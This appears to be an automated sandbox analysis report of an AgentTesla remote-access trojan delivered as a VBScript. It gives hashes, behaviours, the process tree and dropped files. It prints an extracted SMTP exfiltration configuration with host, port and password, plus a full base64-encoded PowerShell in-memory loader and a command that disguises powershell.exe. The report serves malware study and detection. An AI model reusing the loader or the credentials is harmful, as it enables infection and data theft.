Analysis
- max time kernel
93s - max time network
140s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system - submitted
15/11/2024, 16:28
Static task
static1
Behavioral task
behavioral1
Sample
GRAINS.vbs
Resource
win7-20240903-en
7 signatures
150 seconds
General
- Target GRAINS.vbs
- Size 2.2MB
- Sample241115-tym1tswpfx
- SHA256 929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2
- MD5 4bb2f623b8e05072ed01e7fd0e9a4e28
- SHA1 b53851e2fb8d9da46d05c813da5612a04e72242f
- SHA512 b2740378d3d52935e8b3e52a6c4c74928de678dbf449a08796e2467cef341b03fe755132b4aaf4fa4a63428854a42749584acf779efce4340ab9c22cfca1e607
- SSDEEP 49152:B20hVNq/RiQ4N+jRDSBTUxaWA/ZUgHYuhEBprt6:P+U
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
agenttesla
Credentials
-
Protocol
smtp
-
Host
nffplp.com
-
Port
587
-
Username
-
Password
$Nke%8XIIDtm
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Agenttesla family
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4904 3728 cmd.exe 83 - Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 5028 created 3540 5028 GRAINS.vbs.exe 56 - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation WScript.exe - Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xml.vbs GRAINS.vbs.exe - Executes dropped EXE 1 IoCs
pid Process 5028 GRAINS.vbs.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 18 ip-api.com - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 5028 set thread context of 64 5028 GRAINS.vbs.exe 96 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GRAINS.vbs.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language InstallUtil.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ WScript.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 5028 GRAINS.vbs.exe 5028 GRAINS.vbs.exe 5028 GRAINS.vbs.exe 64 InstallUtil.exe 64 InstallUtil.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 5028 GRAINS.vbs.exe Token: SeDebugPrivilege 5028 GRAINS.vbs.exe Token: SeDebugPrivilege 64 InstallUtil.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 64 InstallUtil.exe - Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 1036 wrote to memory of 5028 1036 WScript.exe 90 PID 1036 wrote to memory of 5028 1036 WScript.exe 90 PID 1036 wrote to memory of 5028 1036 WScript.exe 90 PID 5028 wrote to memory of 64 5028 GRAINS.vbs.exe 96 PID 5028 wrote to memory of 64 5028 GRAINS.vbs.exe 96 PID 5028 wrote to memory of 64 5028 GRAINS.vbs.exe 96 PID 5028 wrote to memory of 64 5028 GRAINS.vbs.exe 96 PID 5028 wrote to memory of 64 5028 GRAINS.vbs.exe 96 PID 5028 wrote to memory of 64 5028 GRAINS.vbs.exe 96 PID 5028 wrote to memory of 64 5028 GRAINS.vbs.exe 96 PID 5028 wrote to memory of 64 5028 GRAINS.vbs.exe 96
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3540
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\GRAINS.vbs"2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1036 -
C:\Users\Admin\AppData\Local\Temp\GRAINS.vbs.exe"C:\Users\Admin\AppData\Local\Temp\GRAINS.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops startup file
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5028
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:64
-
-
C:\Windows\system32\cmd.execmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\GRAINS.vbs.exe" /Y1⤵
- Process spawned unexpected child process
PID:4904
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\GRAINS.vbs.exe
- Size 423KB
- SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
- MD5 c32ca4acfcc635ec1ea6ed8a34df5fac
- SHA1 f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
- SHA512 6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
- SSDEEP 6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vxw1hl0j.etm.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512